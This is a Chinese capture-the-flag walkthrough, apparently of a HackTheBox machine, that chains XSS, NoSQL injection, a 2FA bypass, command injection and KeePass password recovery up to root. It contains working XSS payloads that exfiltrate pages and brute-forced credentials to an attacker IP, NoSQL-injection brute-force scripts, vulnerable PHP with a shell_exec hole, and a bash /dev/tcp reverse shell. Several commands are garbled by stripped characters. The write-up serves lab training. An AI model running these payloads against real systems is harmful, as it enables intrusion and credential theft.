XSS报文成功接收回显的渗透之旅漏洞挖掘
温馨提示:这篇文章已超过899天没有更新,请注意相关的内容是否还可用!
常规的XSS利用方法主要有盗取、恶意链接、获取键盘记录、网页钓鱼、挂马等等,本次渗透首先借助XSS漏洞,利用发起ajax请求,实现了发起http请求的目的,并且把请求的结果返回了php门户网站源码,通过代码审计,打开了突破的口子。后续还利用到了Nosql注入、绕过2FA验证、kdbx文件解读等等技术,渗透过程涉及这些小的常识点,充满乐趣与挑战,下面开始这次渗透之旅。
一、信息收集
nmap-p---min-rate=1000-T4-sC-sV-Pn10.10.11.209
看来要从80端口的web服务硬着起初了。
目录扫描一波无果,发现还存在子域名;
此外一个子域名的看到是必须考耐心和水准的,(别忘记了查看源码的重要性);
接出来又是常规的对子域名启动一波信息搜集,然后就处于漏洞挖掘阶段。
二、漏洞挖掘1、XSS漏洞
进到web界面各种尝试看到了一个xss,
并没有过滤,可以成功触发;
第一反应是想到抓,尝试这个来获得失败了,什么都没拿到;
后续也尝试了其它利用方式均无果。
2、发起ajax请求
在网上搜索后看到另一种方式,利用xss,最终推动了发起http请求的目的,并且把请求的结果返回了,我也尝试一下;
nc-lvnp80
成功收到了请求的信息,内容就是.php的内容,也就是意味着我们可以在内网中发起请求。
我们直接在kali本地访问子域名,发现403了。
那么接下去我们尝试使用xss进行请求。
└─# cat pwned.js
var http = new XMLHttpRequest();
http.open('GET', "http://staff-review-panel.mailroom.htb/index.php", true);
http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
http.onload = function () {
fetch("http://10.10.16.5/out?" + encodeURI(btoa(this.responseText)));
};
http.send(null);
Burp报文
POST /contact.php HTTP/1.1 Host: mailroom.htb Content-Length: 82 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://mailroom.htb Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36 Edg/112.0.1722.48 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://mailroom.htb/contact.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Connection: close email=1%401.com&title=1&message=
成功接收回显!!读取到的内容是加密之后的内容。
3、代码审计
对主要的auth.php认证文件进行审计;
false, 'message' => 'Failed to connect to the database']);
exit;
}
$collection = $client->backend_panel->users; // Select the users collection
// Authenticate user & Send 2FA if valid
if (isset($_POST['email']) && isset($_POST['password'])) {
// Verify the parameters are valid
if (!is_string($_POST['email']) || !is_string($_POST['password'])) {
header('HTTP/1.1 401 Unauthorized');
echo json_encode(['success' => false, 'message' => 'Invalid input detected']);
}
// Check if the email and password are correct
$user = $collection->findOne(['email' => $_POST['email'], 'password' => $_POST['password']]);
if ($user) {
// Generate a random UUID for the 2FA token
$token = bin2hex(random_bytes(16));
$now = time();
// Update the user record in the database with the 2FA token if not already sent in the last minute
$user = $collection->findOne(['_id' => $user['_id']]);
if(($user['2fa_token'] && ($now - $user['token_creation']) > 60) || !$user['2fa_token']) {
$collection->updateOne(
['_id' => $user['_id']],
['$set' => ['2fa_token' => $token, 'token_creation' => $now]]
);
// Send an email to the user with the 2FA token
$to = $user['email'];
$subject = '2FA Token';
$message = 'Click on this link to authenticate: http://staff-review-panel.mailroom.htb/auth.php?token=' . $token;
mail($to, $subject, $message);
}
// Return a JSON response notifying about 2fa
echo json_encode(['success' => true, 'message' => 'Check your inbox for an email with your 2FA token']);
exit;
} else {
// Return a JSON error response
header('HTTP/1.1 401 Unauthorized');
echo json_encode(['success' => false, 'message' => 'Invalid email or password']);
}
}
// Check for invalid parameters
else if (!isset($_GET['token'])) {
header('HTTP/1.1 400 Bad Request');
echo json_encode(['success' => false, 'message' => 'Email and password are required']);
exit;
}
// Check if the form has been submitted
else if (isset($_GET['token'])) {
// Verify Token parameter is valid
if (!is_string($_GET['token']) || strlen($_GET['token']) !== 32) {
header('HTTP/1.1 401 Unauthorized');
echo json_encode(['success' => false, 'message' => 'Invalid input detected']);
exit;
}
// Check if the token is correct
$user = $collection->findOne(['2fa_token' => $_GET['token']]);
if ($user) {
// Set the logged_in flag and name in the session
$_SESSION['logged_in'] = true;
$_SESSION['name'] = explode('@', $user['email'])[0];
// Remove 2FA token since user already used it to log in
$collection->updateOne(
['_id' => $user['_id']],
['$unset' => ['2fa_token' => '']]
);
// Redirect to dashboard since login was successful
header('Location: dashboard.php');
exit;
} else {
// Return a JSON error response
header('HTTP/1.1 401 Unauthorized');
echo json_encode(['success' => false, 'message' => 'Invalid 2FA Login Token']);
exit;
}
}
?>
审计了一下,这个页面的作用是身份认证,正如文件名auth.php一样,首先观察到前端用的数据库为,注意会有Nosql注入的状况,然后就是起初身份认证逻辑。
首先检测用户是否通过POST请求发送emali和数组,在数据库中查找用户根据这个条件,如果找到该客户,那么处于2FA验证逻辑。服务器会发送一封信件到指定的邮件中php门户网站源码,点击这个邮箱中收到的链接才能在中保存一个token字段,最后校验这个token正确的话才表示登陆顺利,token长度为32个字节,且为数组串类型。
此处是存在nosql注入的,有关于nosql注入的常识请自行补充。
在看下.php的源码;
;|&{}\(\)\[\]\'\"]/', '', $_POST['inquiry_id']);
$contents = shell_exec("cat /var/www/mailroom/inquiries/$inquiryId.html");
// Parse the data between and
$start = strpos($contents, '');
if ($start === false) {
// Data not found
$data = 'Inquiry contents parsing failed';
} else {
$end = strpos($contents, '
', $start);
$data = htmlspecialchars(substr($contents, $start + 21, $end - $start - 21));
}
}
$status_data = '';
if (isset($_POST['status_id'])) {
$inquiryId = preg_replace('/[\$<>;|&{}\(\)\[\]\'\"]/', '', $_POST['status_id']);
$contents = shell_exec("cat /var/www/mailroom/inquiries/$inquiryId.html");
// Parse the data between and
$start = strpos($contents, '');
if ($start === false) {
// Data not found
$status_data = 'Inquiry contents parsing failed';
} else {
$end = strpos($contents, '
', $start);
$status_data = htmlspecialchars(substr($contents, $start + 21, $end - $start - 21));
}
}
?>
这个文件带有命令执行!!!("cat/var/www///$.html");后续会利用到。
由于网站还部署了git,所以简单介绍下怎样看到所有的git用户;
4、Nosql注入
我们提到auth.php中验证是借助和交互的,我们在此处尝试nosql
# cat pwnnosql.js
var http = new XMLHttpRequest();
http.open('POST', "http://staff-review-panel.mailroom.htb/auth.php", true);
http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
http.onload = function () {
fetch("http://10.10.16.5/out?" + encodeURI(btoa(this.responseText)));
};
http.send("email[$ne]=someb0dy@sm.com&password[$ne]=someb0dy");
可以发现我们成功登录了
接下去想方法通过nosql爆破用户名和密码
爆破用户名;
以下的类库通过卷积调用的方法逐渐爆出我们想要的内容
#cat pwnuser.js
async function callAuth(mail) {
var http = new XMLHttpRequest();
http.open('POST', "http://staff-review-panel.mailroom.htb/auth.php", true);
http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
http.onload = function () {
if (/"success":true/.test(this.responseText)) {
notify(mail);
cal("0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%'()+, -/:;<=>@[\]_`{}~", mail);
}
};
http.send("email[$regex]=.*" + mail + "@mailroom.htb&password[$ne]=abc");
}
function notify(mail) {
fetch("http://10.10.16.5/out?" + mail);
}
var chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%'()+, -/:;<=>@[\]_`{}~";
function cal(chars, mail) {
for (var i = 0; i < chars.length; i++) {
callAuth(chars[i] + mail)
}
}
cal(chars, "");
在burp上连续发送两个包;
我们可以看见返回了末尾的三个字符
那我们修改一下脚本
async function callAuth(mail) {
var http = new XMLHttpRequest();
http.open('POST', "http://staff-review-panel.mailroom.htb/auth.php", true);
http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
http.onload = function () {
if (/"success":true/.test(this.responseText)) {
notify(mail);
cal("0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%'()+, -/:;<=>@[\]_`{}~", mail);
}
};
http.send("email[$regex]=.*" + mail + "@mailroom.htb&password[$ne]=abc");
}
function notify(mail) {
fetch("http://10.10.16.5/out?" + mail);
}
var chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%'()+, -/:;<=>@[\]_`{}~";
function cal(chars, mail) {
for (var i = 0; i < chars.length; i++) {
callAuth(chars[i] + mail)
}
}
cal(chars, "tan");
把cal(chars,"")修改成cal(chars,"tan");
继续上面的操作,上发送两个包

可以发现又多爆出了3个email的字符,一直这么操作直到,直到不再有新的字符生成。
爆破密码,同样的方式;
async function callAuth(pass) {
var http = new XMLHttpRequest();
http.open('POST', "http://staff-review-panel.mailroom.htb/auth.php", true);
http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
http.onload = function () {
if (/"success":true/.test(this.responseText)) {
notify(pass);
cal("0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#%'()+, -/:;<=>@[\]_`{}~", pass);
}
};
http.send("email=tristan@mailroom.htb&password[$regex]=^"+pass);
}
function notify(pass) {
fetch("http://10.10.16.5/out?" + pass);
}
var chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#%'()+, -/:;<=>@[\]_`{}~";
function cal(chars, pass) {
for (var i = 0; i < chars.length; i++) {
callAuth(pass+chars[i])
}
}
cal(chars, "");
burp点2下;
最后得到用户名和密钥,尝试ssh登录,成功登录。
三、提权1、2FA验证
登录上来后,发现内网中的staff--panel这个域名我们不能直接访问,通过建立socks代理以及简单点ssh端口转发;
ssh-L8080:127.0.0.1:80@10.10.11.209
尝试登录需要2FA验证;
我们在/etc/mail/文件中看到了这个链接;
访问一下,成功开启;
2、RCE
还记得.php是可以执行命令的,在代码中读取了,传入参数我们可控,我们在此处尝试;
nc文件的内容

#!/bin/bash
bash-i>&/dev/tcp/10.10.16.5/55550>&1
远程下载成功后,继续执行反弹命令;
反弹成功;
反弹shell后我们参数搜索有关键字的文件;
grep""./-r
成功从配置文件中获得到用户的密码。
3、kdbx文件解密
在目录下看到一个.kdbx文件,尝试下载;
这些后缀名的文件可以使用工具开启,但是必须key。
pspy看进进程的之后找到了kpcli进程;
通过ps-ef|grepkpcli|grepperl|awk'{print$2}'来找到kpcli的进程id;
通过-p来查看系统调用;
由于密码多半是我们从终端输入进去程序的,所以我们查看read的平台调用,之所以寻找调用read(0的的信息,0是标准输入流stdin,也就是我们的输入。

在此处\10模拟了删除的操作,对照ascii表8进制可以看到;
由此可得到密码:!$$w0rd9
最后查看rootacc拿到root的密码,就可以成功切换到root用户。
也有另一种方式;
由此也可以受到root用户的密码。
四、源码分析
源码是在里的;
exec-it/bin/bash
tar-zcvf.tar.gz/var/www//
cp:/var/www/.tar.gz/tmp/.tar.gz
得到源码后,分析下XSS漏洞形成的理由;
可以控制输入,并且没有任何过滤;
.html参数传递到了后端网页;这2处原来都存在xss漏洞;
实测的效果;
最终总结下本次渗透的流程;
信息收集子域名--->通过xss读取源码--->代码审计--->nosql注入--->获得用户1的ssh密码--->绕过2FA验证--->RCE--->寻找敏感信息--->成功获得用户2的凭证--->kdbx文件解密--->root
本文来自网络,如有侵权请联系网站客服进行删除





还没有评论,来说两句吧...